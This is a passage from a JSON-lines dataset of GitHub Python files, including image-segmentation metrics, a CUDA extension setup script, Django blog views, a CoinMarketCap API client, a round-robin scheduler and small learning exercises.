2121, 4]\nassert bubbleSort(array), [1, 2, 3, 4, 4, 5, 7, 8, 9, 32, 45, 98, 144, 755, 2121, 7899]\nprint(bubbleSort(array))\n","repo_name":"21Akame03/Learning_DSA","sub_path":"recursive_bubblesort.py","file_name":"recursive_bubblesort.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40015010577","text":"# MAE, Precision, Recall, F-measure, IoU, Precision-Recall curves\nimport numpy as np\nfrom skimage import io\nimport cv2\n\n# import matplotlib.pyplot as plt\n\ndef mask_normalize(mask):\n# input 'mask': HxW\n# output: HxW [0,255]\n return mask/(np.amax(mask)+1e-8)\n\ndef compute_mae(mask1,mask2):\n# input 'mask1': HxW or HxWxn (asumme that all the n channels are the same and only the first channel will be used)\n# 'mask2': HxW or HxWxn\n# output: a value MAE, Mean Absolute Error\n if(len(mask1.shape)<2 or len(mask2.shape)<2):\n print(\"ERROR: Mask1 or mask2 is not matrix!\")\n exit()\n if(len(mask1.shape)>2):\n mask1 = mask1[:,:,0]\n if(len(mask2.shape)>2):\n mask2 = mask2[:,:,0]\n if(mask1.shape!=mask2.shape):\n print(\"ERROR: The shapes of mask1 and mask2 are different!\")\n exit()\n\n h,w = mask1.shape[0],mask1.shape[1]\n mask1 = mask_normalize(mask1)\n mask2 = mask_normalize(mask2)\n sumError = np.sum(np.absolute((mask1.astype(float) - mask2.astype(float))))\n maeError = sumError/(float(h)*float(w)+1e-8)\n\n return maeError\n\n\n\n\n\ndef compute_pre_rec(gt,mask,mybins=np.arange(0,256)):\n\n if(len(gt.shape)<2 or len(mask.shape)<2):\n print(\"ERROR: gt or mask is not matrix!\")\n exit()\n if(len(gt.shape)>2): # convert to one channel\n gt = gt[:,:,0]\n if(len(mask.shape)>2): # convert to one channel\n mask = mask[:,:,0]\n if(gt.shape!=mask.shape):\n print(\"ERROR: The shapes of gt and mask are different!\")\n exit()\n\n gtNum = gt[gt>128].size # pixel number of ground truth foreground regions\n pp = mask[gt>128] # mask predicted pixel values in the ground truth foreground region\n nn = mask[gt<=128] # mask predicted pixel values in the ground truth bacground region\n\n pp_hist,pp_edges = np.histogram(pp,bins=mybins) #count pixel numbers with values in each interval [0,1),[1,2),...,[mybins[i],mybins[i+1]),...,[254,255)\n nn_hist,nn_edges = np.histogram(nn,bins=mybins)\n\n pp_hist_flip = np.flipud(pp_hist) # reverse the histogram to the following order: (255,254],...,(mybins[i+1],mybins[i]],...,(2,1],(1,0]\n nn_hist_flip = np.flipud(nn_hist)\n\n pp_hist_flip_cum = np.cumsum(pp_hist_flip) # accumulate the pixel number in intervals: (255,254],(255,253],...,(255,mybins[i]],...,(255,0]\n nn_hist_flip_cum = np.cumsum(nn_hist_flip)\n\n precision = pp_hist_flip_cum/(pp_hist_flip_cum + nn_hist_flip_cum+1e-8) #TP/(TP+FP)\n recall = pp_hist_flip_cum/(gtNum+1e-8) #TP/(TP+FN)\n\n precision[np.isnan(precision)]= 0.0\n recall[np.isnan(recall)] = 0.0\n\n return np.reshape(precision,(len(precision))),np.reshape(recall,(len(recall)))\n\n\n\n\n\n\ndef get_disk_kernel(radius):\n return cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (radius*2+1, radius*2+1))\n\ndef compute_boundary_acc(gt, mask):\n gt = gt > 128\n mask = mask > 128\n gt = gt.astype(np.uint8)\n mask = mask.astype(np.uint8)\n if(len(gt.shape)>2):\n gt = gt[:,:,0]\n if(len(mask.shape)>2):\n mask = mask[:,:,0]\n\n\n\n h, w = gt.shape\n\n min_radius = 1\n max_radius = (w+h)/300\n num_steps = 5\n\n mask_acc = [None] * num_steps\n\n for i in range(num_steps):\n curr_radius = min_radius + int((max_radius-min_radius)/num_steps*i)\n\n kernel = get_disk_kernel(curr_radius)\n boundary_region = cv2.morphologyEx(gt, cv2.MORPH_GRADIENT, kernel) > 0\n\n gt_in_bound = gt[boundary_region]\n mask_in_bound = mask[boundary_region]\n\n num_edge_pixels = (boundary_region).sum()\n num_mask_gd_pix = ((gt_in_bound) * (mask_in_bound) + (1-gt_in_bound) * (1-mask_in_bound)).sum()\n\n mask_acc[i] = num_mask_gd_pix / num_edge_pixels\n\n return sum(mask_acc)/num_steps\n\n\n\ndef compute_MAE_F_S_cv2(gt_name_list,rs_dir_lists,beta=0.3):\n mybins = np.arange(0,256) # different thresholds to achieve binarized masks for pre, rec, Fm measures\n\n num_gt = len(gt_name_list) # number of ground truth files\n num_rs_dir = len(rs_dir_lists) # number of method folders\n if(num_gt==0):\n print(\"ERROR: The ground truth directory is empty!\")\n exit()\n\n mae = np.zeros((num_gt,num_rs_dir)) # MAE of methods\n PRE = np.zeros((num_gt,num_rs_dir,len(mybins)-1)) # PRE: with shape of (num_gt, num_rs_dir, 256)\n REC = np.zeros((num_gt,num_rs_dir,len(mybins)-1)) # REC: the same shape with PRE\n # FM = np.zeros((num_gt,num_rs_dir,len(mybins)-1)) # Fm: the same shape with PRE\n gt2rs = np.zeros((num_gt,num_rs_dir)) # indicate if the mask of methods is correctly computed\n badlist = []\n\n total_mask_acc = np.zeros((num_gt,num_rs_dir))\n\n for i in range(0,num_gt):\n print('>>Processed %d/%d'%(i+1,num_gt),end='\\r')\n try:\n # gt = io.imread(gt_name_list[i])\n gt = cv2.imread(gt_name_list[i])\n except ValueError:\n print(gt_name_list[i])\n continue\n # gt = io.imread(gt_name_list[i]) # read ground truth\n gt = mask_normalize(gt)*255.0 # convert gt to [0,255]\n gt_name = gt_name_list[i].split('/')[-1] # get the file name of the ground truth \"xxx.png\"\n\n for j in range(0,num_rs_dir):\n tmp_mae = 0.0\n pre, rec, f = np.zeros(len(mybins)), np.zeros(len(mybins)), np.zeros(len(mybins)) # pre, rec, f or one mask w.r.t different thresholds\n try:\n # rs = io.imread(rs_dir_lists[j]+gt_name) # read the corresponding mask from each method\n rs = cv2.imread(rs_dir_lists[j]+gt_name)\n rs = mask_normalize(rs)*255.0 # convert rs to [0,255]\n except ValueError:\n #print('ERROR: Couldn\\'t find the following file:',rs_dir_lists[j]+gt_name)\n print(rs_dir_lists[j]+gt_name)\n continue\n try:\n tmp_mae = compute_mae(gt,rs)\n pre, rec = compute_pre_rec(gt,rs,mybins=np.arange(0,256))\n\n # mba\n mask_acc = compute_boundary_acc(gt, rs)\n except IOError:\n #print('ERROR: Fails in compute_mae!')\n continue\n\n mae[i][j] = tmp_mae\n total_mask_acc[i][j] = mask_acc\n PRE[i,j,:] = pre\n REC[i,j,:] = rec\n gt2rs[i,j] = 1.0\n\n if tmp_mae >0.20:\n badlist.append(rs_dir_lists[j]+gt_name)\n\n print('\\n')\n\n mae_col_sum = np.sum(mae,0) # compute the sum of MAE of each method\n gt2rs = np.sum(gt2rs,0) # num_rs_dir\n ave_maes = mae_col_sum/(gt2rs+1e-8) # compute the average MAE of each method\n\n new_mba = np.sum(total_mask_acc,0) / (gt2rs+1e-8)\n\n gt2rs = np.repeat(gt2rs[:, np.newaxis], 255, axis=1) #num_rs_dirx255\n\n PRE2 = np.sum(PRE,0)/(gt2rs+1e-8) # num_rs_dirx255, average PRE over the whole dataset at every threshold\n REC2 = np.sum(REC,0)/(gt2rs+1e-8) # num_rs_dirx255\n FM = (1+beta)*PRE2*REC2/(beta*PRE2+REC2+1e-8) # num_rs_dirx255\n\n return PRE2, REC2, FM, gt2rs,ave_maes, PRE, REC, badlist, new_mba","repo_name":"DrowsyMon/RMFormer","sub_path":"measures.py","file_name":"measures.py","file_ext":"py","file_size_in_byte":6975,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"23646731791","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\nCODEJAM TEMPLATE\n\nCreated by Jamie Smith\n\n\n\"\"\"\n\nimport sys\nimport os\n\t\ndef readints(f):\n\treturn map(int, f.readline().split())\n\ndef digits(n):\n\tresult=[]\n\tb=1\n\twhile n>0:\n\t\tresult.append(n%(10*b)/b)\n\t\tn-=n%(10*b)\n\t\tb=b*10\n\tresult.reverse()\n\treturn result\n\t\t\ndef cycle(l):\n\treturn [l[-1]]+l[0:-1]\n\t\ndef allcycles(l):\n\tres=[l]\n\tfor i in range(len(l)-1):\n\t\tres.append(cycle(res[-1]))\n\tres.sort()\n\treturn res\n\ndef choose2(n):\n\treturn n*(n-1)/2\n\t\ndef unique(L):\n\tresult={}\n\tfor l in L:\n\t\tresult[l]=0\n\treturn result.keys()\n\ndef main():\n\tos.chdir(\"/Users/Jamie/Documents/Codejam\")\n\t\n\t# f=open('input.txt','r')\n\tf=open('C-small-attempt0.in','r')\n\t# f=open('A-large-practice.in','r')\n\to=open('recyclingout.txt','w')\n\t\n\tT=int(f.readline())\n\n\n\n\tfor j in range(T):\n\t\tA,B=readints(f)\n\t\tR=map(digits,range(A,B+1))\n\t\tR=map(allcycles,R)\n\t\tR=map(str,R)\n\t\tU=unique(R)\n\t\tresult=0\n\t\tfor u in U:\n\t\t\tresult+=choose2(R.count(u))\n\t\t\n\t\t# print \"Case #%s: %s\\n\" % (j+1,result)\n\t\to.write(\"Case #%s: %s\\n\" % (j+1,result))\n\tf.close()\n\to.close()\n\nif __name__ == '__main__':\n\tmain()\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_97/819.py","file_name":"819.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12865730839","text":"import glob\nfrom setuptools import setup\nfrom torch.utils.cpp_extension import BuildExtension, CUDAExtension\n\ndef make_cuda_ext(name, sources,includes):\n\n return CUDAExtension(\n name='{}'.format(name),\n sources=[p for p in sources],\n include_dirs=[i for i in includes],\n extra_compile_args={\n 'cxx': [],\n 'nvcc': [\n '-D__CUDA_NO_HALF_OPERATORS__',\n '-D__CUDA_NO_HALF_CONVERSIONS__',\n '-D__CUDA_NO_HALF2_OPERATORS__',\n ]})\n#-D__CUDA_NO_HALF_OPERATORS__ -D__CUDA_NO_HALF_CONVERSIONS__ -D__CUDA_NO_HALF2_OPERATORS__ -D_GLIBCXX_USE_CXX11_ABI=1\nsources=[]\nsources.extend(glob.glob('src/*.cu'))\nsources.extend(glob.glob('src/*.cpp'))\n\nwith open(\"README.md\", \"r\",encoding='utf-8') as fh:\n long_description = fh.read()\n\nsetup(\n name='modulated_deform_conv',\n version='1.0.2',\n author='qiaoxin',\n author_email='qiaoxin182@gmail.com',\n url='https://www.github.com',\n description=\"cuda implementation of deformable conv2d, modulated deformable conv2d,\"\n \"deformable conv3d, modulated deformable conv3d\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n ext_modules=[\n make_cuda_ext(name='MDCONV_CUDA',\n sources=sources,\n includes=['src'])\n ],\n py_modules=['modulated_deform_conv'],\n classifiers=(\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 3 - Alpha',\n 'Operating System :: POSIX :: Linux',\n # Indicate who your project is intended for\n 'Intended Audience :: Developers',\n\n # Pick your license as you wish (should match \"license\" above)\n 'License :: OSI Approved :: MIT License',\n\n # Specify the Python versions you support here. In particular, ensure\n # that you indicate whether you support Python 2, Python 3 or both.\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ),\n install_requires=['torch>=1.3'],\n keywords=[\"pytorch\", \"cuda\", \"deform\"],\n cmdclass={'build_ext': BuildExtension}, zip_safe=False)\n","repo_name":"CHONSPQX/modulated-deform-conv","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"61"} +{"seq_id":"10651680734","text":"#!/usr/bin/env python3.6\n# encoding: utf-8\n\"\"\"\n@version: 3.6\n@author: dawin\n@contact: 694596886@qq.com\n@site: https://blog.csdn.net/dawin_2008\n@software: PyCharm\n@file: 2_1.py\n@time: 2019/1/6 14:09\n\"\"\"\n\nimport re\n\nline = 'asdf fjdk; afed, fjek,asdf, foo'\n\nresult = re.split(r'[;,\\s]\\s*', line)\nprint(result)","repo_name":"dawin2015/Python-Cookbook","sub_path":"chapter 2/2_1.py","file_name":"2_1.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71514374273","text":"# fILe: inversion_grid.py, Author: Cedric Travelletti, Date: 15.01.2019.\n\"\"\" Class implementing inversion grid.\n\nThe inversion grid has two importan properties\n\n* It has a coarser resolution than the dsm, meaning that a single cell in the\n inversion grid corresponds to several cells in the dsm grid.\n * It is irregular, i.e. it doesn't span an entire parallelepiped.\n This is due to the fact that we don't include cells outside the volcano (in\n the air).\n\n\"\"\"\nimport numpy as np\nfrom volcapy.niklas.coarsener import Coarsener\nfrom volcapy.niklas.cell import Cell\n\n\nfrom collections.abc import Sequence\nclass InversionGrid(Sequence):\n def __init__(self, coarsen_x, coarsen_y, res_x, res_y, zlevels, dsm):\n \"\"\"\n Parameters\n ----------\n coarsen_x: List[int]\n Defines the coarsening along the x-dimension.\n For example, if coarsen_x = [10, 5, 5, ...], then the first cells\n (along dim-x) of the coarser grid will correspond to the first 10 cells\n of the dsm, then, the second cells (along dim-x) will correspond to the\n next 5 cells, and so on.\n coarsen_y: List[int]\n res_x: List[float]\n Size of each cell in meters.\n res_y: List[float]\n zlevels: List[float]\n List of heights (in meters) at wich we place cells.\n dsm: DSM\n\n \"\"\"\n self.coarsener = Coarsener(coarsen_x, coarsen_y, res_x, res_y, dsm)\n self.dimx = self.coarsener.dimx\n self.dimy = self.coarsener.dimy\n\n # It is important that the levels are in increasing order.\n self.zlevels = sorted(zlevels)\n\n # Will be created when we call fill_grid.\n self.cells = []\n self.topmost_indices = []\n\n # Create the grid.\n self.fill_grid()\n\n # Call parent constructor.\n super().__init__()\n\n def __getitem__(self, i):\n return self.cells[i]\n\n def __len__(self):\n return len(self.cells)\n\n def fill_grid(self):\n \"\"\" Create the cells in the grid, taking into account the fact that the\n grid is irregulat, i.e., the number a z-floors can change, since we do\n not include cells that are 'in the air' wrt the dsm.\n \"\"\"\n topcells = []\n self.topmost_indices = []\n\n # --------------------------------------------------\n # BUILD TOPMOST CELLS\n # --------------------------------------------------\n # We do a first pass to put the topmost ones at the beginning of the\n # list.\n #\n # Note that these cell do not follow the vertical z-splitting of the\n # other one. That is, they have their true altitude as altitude.\n for i in range(self.dimx):\n for j in range(self.dimy):\n\n # TODO: Maybe needs to be refactored.\n # Add a new attribute to the topmost inversion cells:\n # Each one stores a list of the fine cells that make it up.\n # This takes some memory, but will speed up the refinement\n # process: all information will be directly available, no\n # lookup necessary.\n cell = self.coarsener.get_coarse_cell(i, j)\n\n # Add an attribute to identify the top cells.\n cell.is_topcell = True\n\n # Keep a list of the fine cells building up the big cell.\n # This is useful for refininf the forward.\n cell.fine_cells = self.coarsener.get_fine_cells(i, j)\n\n topcells.append(cell)\n\n # Store the indices of the surface cells so we can easily access them.\n self.topmost_indices = list(range(len(topcells)))\n\n # In the second pass, populate all the floors below, i.e. the cells\n # that are not on the surface.\n cells = []\n for top_cell in topcells:\n # Then, for each z-level that is below the top cell, we create\n # a cell (that is, we create the whole vertical column below\n # the current top cell.\n\n # Note that we create a cell by taking the current z_level as the\n # top of the cell (hence should be small that altitude of the top\n # cell and taking the previous z-level for the bottom of the cell.\n # Hence we exclude the lowest level from the looping.\n for i, z in enumerate(self.zlevels[1:]):\n if z <= top_cell.zl:\n # Create a cell, whose vertical extent goes from the\n # current level to the next one.\n cell = Cell(top_cell.xl, top_cell.xh,\n top_cell.yl, top_cell.yh,\n self.zlevels[i - 1], z)\n\n cell.is_topcell = False\n cells.append(cell)\n\n # We cast to numpy array, so that we can index also with lists.\n self.cells = np.array(topcells + cells)\n\n\n # TODO: Refactor: it would be better to have the 1D -> 2D indices\n # functionalities in the coarsener.\n def topmost_ind_to_2d_ind(self, ind):\n \"\"\" Given the index of a topmost cell in the list of cells, give the x\n and y index (in the 2D grid) which correspond to that cell.\n\n The goal of this method is to be able to find dsm cells that belong to\n a given topmost cell.\n\n Note that storing this as an attribute of each topmost cell would be\n memory costly, so we chose to compute it dynamically.\n\n Parameters\n ----------\n ind: int\n Index, in the 'cells' list of the topmost cell we are interested\n ind.\n\n Returns\n -------\n (int, int)\n x-y index (in the 2D version of the inversion grid) of the given\n cell. One can then use the get_fine_cells method of the coarsener\n to find the corresponding dsm cells.\n\n \"\"\"\n ind_y = int(ind % self.dimy)\n ind_x = int((ind - ind_y) / self.dimy)\n\n return ((ind_x, ind_y))\n\n def fine_cells_from_topmost_ind(self, ind):\n \"\"\" Given the index of a topmost cell, give the fine cells that\n correspond to it.\n\n \"\"\"\n # First convert to 2-D indexing.\n (ind_x, ind_y) = self.topmost_ind_to_2d_ind(ind)\n\n return self.coarsener.get_fine_cells(ind_x, ind_y)\n\n def ind_in_regular_grid(self, cell):\n \"\"\" Gives the a cell would have if it was in a regular 3D grid\n enclosing the irregular grid.\n\n The goal of this function is to be able to map inversion results to a\n regular 3D array, since most visualization softwares use that format.\n\n Parameters\n ----------\n cell: Cell\n\n Returns\n -------\n (i, j, k)\n Index of the cell in a regular grid that encloses the irregular\n one. The grid is chosen such that it just encloses the regular one.\n The grid doesn't care about individual cell resolutions.\n This is not much of a drawback since the only cells that dont have\n a standard resolution are on the borders fo the grid and will thus\n be clearly identifiable in a plot.\n\n \"\"\"\n","repo_name":"CedricTravelletti/Volcano","sub_path":"volcapy/niklas/inversion_grid.py","file_name":"inversion_grid.py","file_ext":"py","file_size_in_byte":7210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38398331334","text":"\nimport tkinter\nimport time\n\n\n\nCANVAS_WIDTH = 1000;\nCANVAS_HEIGHT = 750;\n\nMIN_LONGITUDE = -130;\nMAX_LONGITUDE = -60;\nMIN_LATITUDE = +22;\nMAX_LATITUDE = +55;\n\ndef main():\n canvas = make_canvas(CANVAS_WIDTH, CANVAS_HEIGHT, 'US CITIES')\n n_done = 0\n with open(\"us-cities.txt\") as cities_file:\n next(cities_file)\n\n for line in cities_file:\n line = line[:-1]\n parts = line.split(',')\n\n lat = float(parts[2])\n long = float(parts[3])\n plot_one_city(canvas, lat, long)\n\n n_done += 1\n if n_done % 100 == 0:\n canvas.update()\n time.sleep(1/50)\n\n\n canvas.mainloop()\n\ndef plot_one_city(canvas, latitude, longitude):\n # plots the city depending on latitude and longitude\n x = longitude_to_x(longitude)\n y = latitude_to_y(latitude)\n plot_pixel(canvas, x, y)\n\n\n\ndef plot_pixel(canvas, x, y):\n # creates the physical dot\n canvas.create_rectangle(x, y, x + 1, y + 1, fill = 'blue', outline = 'blue')\n\n\n\ndef longitude_to_x(longitude):\n long = CANVAS_WIDTH * (longitude - MIN_LONGITUDE) / (MAX_LONGITUDE - MIN_LONGITUDE)\n return long\n\n\n\ndef latitude_to_y(latitude):\n lat = CANVAS_HEIGHT * (1.0 - (latitude - MIN_LATITUDE) / (MAX_LATITUDE - MIN_LATITUDE))\n return lat\n\n\n\n\ndef make_canvas(width,height, title = None):\n top = tkinter.Tk()\n top.minsize(width = width, height = height)\n if title:\n top.title(title)\n canvas = tkinter.Canvas(top, width = width + 1, height = height + 1)\n canvas.pack()\n return canvas\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Pwang26/US-cities","sub_path":"UScities/us-cities.py","file_name":"us-cities.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29448701207","text":"# -*- coding: utf-8 -*-\n\nimport datetime\n\nfrom sqlalchemy.dialects.mysql import INTEGER, DATETIME, VARCHAR, TEXT\nfrom handler.pool import mysqlpool\n\n\nclass ApiInfo(mysqlpool.Model):\n __tablename__ = \"apiInfo\"\n # 定义column\n apiId = mysqlpool.Column(\n name=\"apiId\",\n type_=INTEGER,\n autoincrement=True,\n nullable=False,\n unique=True,\n primary_key=True\n )\n apiName = mysqlpool.Column(\n name=\"apiName\",\n type_=VARCHAR(100),\n nullable=False\n )\n apiUrl = mysqlpool.Column(\n name=\"apiUrl\",\n type_=VARCHAR(200),\n nullable=False\n )\n apiDescription = mysqlpool.Column(\n name=\"apiDescription\",\n type_=TEXT,\n nullable=True\n )\n apiAddTime = mysqlpool.Column(\n name=\"apiAddTime\",\n type_=DATETIME,\n nullable=False,\n default=datetime.datetime.now\n )\n","repo_name":"erikshe2003/qaplatform_api","sub_path":"model/mysql/userUi/apiInfo.py","file_name":"apiInfo.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17273656298","text":"from django.shortcuts import get_object_or_404, render, redirect\nfrom .models import Group, Post, User\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom .forms import PostForm\n\n\nPOST_COUNT: int = 10\n\n\ndef index(request):\n post_list = Post.objects.all()\n paginator = Paginator(post_list, POST_COUNT)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n context = {\n 'page_obj': page_obj,\n }\n return render(request, 'posts/index.html', context)\n\n\ndef group_posts(request, slug):\n group = get_object_or_404(Group, slug=slug)\n post_list = group.posts.all()\n paginator = Paginator(post_list, POST_COUNT)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n return render(request,\n 'posts/group_list.html',\n {'group': group,\n 'page_obj': page_obj, }\n )\n\n\ndef profile(request, username):\n # Здесь код запроса к модели и создание словаря контекста\n author = User.objects.get(username=username)\n posts_author = Post.objects.filter(author=author)\n count = len(posts_author)\n paginator = Paginator(posts_author, 10)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n context = {\n 'page_obj': page_obj,\n 'count': count,\n 'author': author,\n 'username': username\n }\n return render(request, 'posts/profile.html', context)\n\n\ndef post_detail(request, post_id):\n post_obj = Post.objects.select_related('author').get(id=post_id)\n author = post_obj.author\n post_count = Post.objects.filter(author=author).count()\n context = {\n 'post_obj': post_obj,\n 'post_count': post_count\n }\n return render(request, 'posts/post_detail.html', context)\n\n\n@login_required\ndef create(request):\n is_edit = False\n template = 'posts/create_post.html'\n form = PostForm(request.POST or None)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.save()\n return redirect('posts:profile', request.user)\n context = {\n 'form': form,\n 'is_edit': is_edit\n }\n return render(request, template, context)\n\n\n@login_required()\ndef post_edit(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n is_edit = True\n template = 'posts/create_post.html'\n if request.user == post.author:\n form = PostForm(request.POST or None, instance=post)\n if form.is_valid():\n form.save()\n return redirect('posts:post_detail', post_id=post_id)\n context = {\n 'form': form,\n 'is_edit': is_edit,\n 'post': post\n }\n return render(request, template, context)\n","repo_name":"Denis-Pakharenko/hw03_forms","sub_path":"yatube/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25692756493","text":"#!/usr/bin/env python\n# import os\nimport json\nfrom urllib.request import urlopen\nfrom urllib import parse\nfrom decimal import Decimal\n\n\nclass PubMarket:\n \"\"\"Public api for web v3 \"\"\"\n __BASE_API_URL = 'https://api.coinmarketcap.com/data-api/v3'\n\n def __init__(self,\n base_url=__BASE_API_URL, verbose=False):\n self.base_url = base_url\n self.verbose = verbose\n\n @classmethod\n def __request(cls, endpoint: str, params: dict = None):\n if params:\n params = parse.urlencode(params)\n req = cls.__BASE_API_URL + endpoint + '?' + params\n else:\n req = cls.__BASE_API_URL + endpoint\n\n try:\n with urlopen(req, timeout=10) as rsp:\n response = json.loads(rsp.read(), parse_float=Decimal)\n except Exception as err:\n return err\n if response['status']['error_code'] == '0':\n return response['data']\n else:\n return response['status']\n\n def listing(self, **kwargs):\n \"\"\"\n https://api.coinmarketcap.com/data-api/v3/cryptocurrency/listing\n /info\n https://coinmarketcap.com/\n \"\"\"\n params: dict = {}\n params.update(kwargs)\n response = self.__request('/cryptocurrency/listing', params=None)\n return response\n\n @classmethod\n def markets_by_coin_id(cls, id: int = None,\n slug: str = None, **kwargs):\n \"\"\"\n Возвращает список бирж торгующие интересующей монетой id\n Market Pairs Latest\n https://api.coinmarketcap.com/data-api/v3/cryptocurrency/market-pairs/latest?id=1\n https://coinmarketcap.com/api/documentation/v1/#operation/getV1CryptocurrencyMarketpairsLatest\n Requared \"slug\" or \"id\"\n Example:\n slug=zclassic\n id=1\n &start=1&limit=6\n \"\"\"\n if id is None and slug is None:\n raise\n elif id:\n params: dict = {\n 'id': id,\n }\n elif slug:\n params: dict = {\n 'slug': slug,\n }\n elif id and slug:\n raise\n\n params.update(kwargs)\n response = cls.__request('/cryptocurrency/market-pairs/latest',\n params)\n return response\n\n def markets_info(self, slug: str, **kwargs):\n \"\"\"\n Возвращает список валютных пар на интересующей бирже id\n https://coinmarketcap.com/api/documentation/v1/#operation/getV1ExchangeMarketpairsLatest\n Cryptocurrency Converter Calculator\n https://coinmarketcap.com/ru/rankings/exchanges/\n category=spot - Спот (по умолчанию)\n category=perpetual - Бессрочные\n category=futures - Фьючерсы\n slug=kraken&category=spot&start=1&limit=100\n Requared \"slug\" or \"id\"\n Example:\n slug=okex\n id=1\n &start=1&limit=6\n \"\"\"\n # if value:\n # value = '?' + str(value)\n params = {\n 'slug': slug\n }\n params.update(kwargs)\n response = self.__request('/exchange/market-pairs/latest',\n params)\n return response\n\n def price_conversion(self, amount, id: int, convert_id: int):\n \"\"\"\n Cryptocurrency Converter Calculator\n https://coinmarketcap.com/converter/\n Requared: \"slug\" or \"id\"\n amount=1,\n convert_id=2781,\n id=1\n \"\"\"\n params: dict = {\"amount\": amount,\n \"id\": id,\n \"convert_id\": convert_id}\n resp = self.__request('/tools/price-conversion',\n params)\n return resp\n\n def coin_info(self, id: int):\n \"\"\"\n Cryptocurrencies Coins Info\n https://coinmarketcap.com/api/documentation/v1/#operation/getV1CryptocurrencyInfo\n Requared: \"id\"\n Example:\n id=1\n \"\"\"\n params: dict = {\"id\": id}\n resp = self.__request('/cryptocurrency/detail',\n params)\n return resp\n","repo_name":"stavis-dev/cmcap","sub_path":"cmcap/public.py","file_name":"public.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73803711234","text":"from driver import get_tasks, print_schedule\n\ndef rr():\n tasks = get_tasks() #gets tasks from file using function in driver.py\n timeq = 10 #time quantum is 10ms\n\n\n burst_t = [0] * len(tasks) #this is the remaining burst time\n wait_t = [0] * len(tasks) #how long each task has to wait\n\n\n for i in range(0, len(tasks)): #setting the burst time so we can calculate when each task finishes\n burst_t[i] = int(tasks[i].time)\n\n current_t = 0 #current time used to calculate the total wait time for each task\n\n\n while(1):\n done = True\n\n for i in range(len(tasks)):\n\n if burst_t[i] > 0:\n done = False\n\n if burst_t[i] > timeq:\n current_t += timeq\n burst_t[i] -= timeq\n\n else:\n current_t += burst_t[i]\n wait_t[i] = current_t - burst_t[i]\n\n burst_t[i] = 0\n\n if done == True:\n break\n\n\n for i in range(len(tasks)): #repeat this from line 12 for printing purposes\n burst_t[i] = tasks[i].time\n\n\n total_turn = 0\n for i in range(len(tasks)): #more information needed to print the rr tasks so cannot use the print_schedule in driver file\n turnaround_t = int(burst_t[i]) + int(wait_t[i])\n total_turn += turnaround_t\n print(\"Proccess: \" + tasks[i].name + \" arrived at time: 0 and ran for: \" + str(burst_t[i]) + \"MS. It had a turnaround time of: \" + str(turnaround_t))\n print()\n\n\n avg_turn = total_turn // len(tasks)\n print(\"The average turnaround time rounded down to the nearest integer is: \", avg_turn)\n\n total_wait = 0\n for i in range(len(tasks)):\n total_wait += wait_t[i]\n\n avg_wait = total_wait // len(tasks)\n print(\"The average wait time is: \", avg_wait)\n\n\nif __name__ == '__main__':\n rr()","repo_name":"CRobinson574/2022-CA216-scheduling","sub_path":"2022-CA216-scheduling-master/schedule_rr.py","file_name":"schedule_rr.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28479806307","text":"#!/usr/bin/env python -i\ndef mul(a,b):\n\tresult=0;\n\tfor k in range(b):\n\t\tresult=result+a\n\treturn\tresult\ndef div(a,b):\n\tresult=-1;\n\twhile result*b<=a:\n\t\tresult=result+1;\n\treturn result-1;\ndef sub(a,b):\n\tresult=0;\n\twhile result+b 0:\n count_synth += 1\n train_total += frequency_imbalanced\n synthesized_total += synthesized_frequency_imbalanced\n return count, count_synth ,train_total, synthesized_total\n\ndef mutual_minority_counts2(train_df, synth_df1, synth_df2, pair):\n reversed_pair = [pair[1], pair[0]]\n\n pair_train_df = train_df[pair]\n\n # pair_synthesized_df = synth_df[pair]\n reversed_pair_train_df = train_df[reversed_pair]\n # reversed_pair_synthesized_df = synth_df[reversed_pair]\n\n train_total = 0\n synthesized_total = 0\n\n column_0_unique = pair_train_df[pair[0]].unique()\n count = 0\n count_synth1 = 0\n count_synth2 = 0\n for value in column_0_unique:\n column_1_unique = pair_train_df[pair[1]].unique()\n frequency_0 = pair_train_df[pair_train_df[pair[0]] == value].value_counts()\n # frequency_0 = pair_train_df.query(pair[0] + '==' + str(value)).value_counts()\n 